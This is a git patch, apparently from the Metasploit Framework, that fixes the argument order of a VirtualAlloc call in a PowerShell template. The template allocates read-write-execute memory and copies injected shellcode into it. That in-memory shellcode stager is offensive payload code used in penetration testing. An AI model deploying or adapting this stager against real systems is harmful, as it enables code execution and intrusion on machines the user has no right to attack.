From 9d08ebe273fc778bc07875a673efa45c9861d1c3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 8 Jun 2014 11:09:03 -0500 Subject: [PATCH] Fix VirtualAlloc call on PSH old template --- data/templates/scripts/to_mem_old.ps1.template | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/data/templates/scripts/to_mem_old.ps1.template b/data/templates/scripts/to_mem_old.ps1.template index bbd85c1bfb..6c7f35bab6 100644 --- a/data/templates/scripts/to_mem_old.ps1.template +++ b/data/templates/scripts/to_mem_old.ps1.template @@ -11,7 +11,7 @@ $%{var_win32_func} = Add-Type -memberDefinition $%{var_syscode} -Name "Win32" -n %{shellcode} -$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,0x1000,[Math]::Max($%{var_code}.Length, 0x1000),0x40) +$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,[Math]::Max($%{var_code}.Length, 0x1000),0x1000,0x40) for ($%{var_iter}=0;$%{var_iter} -le ($%{var_code}.Length-1);$%{var_iter}++) { $%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null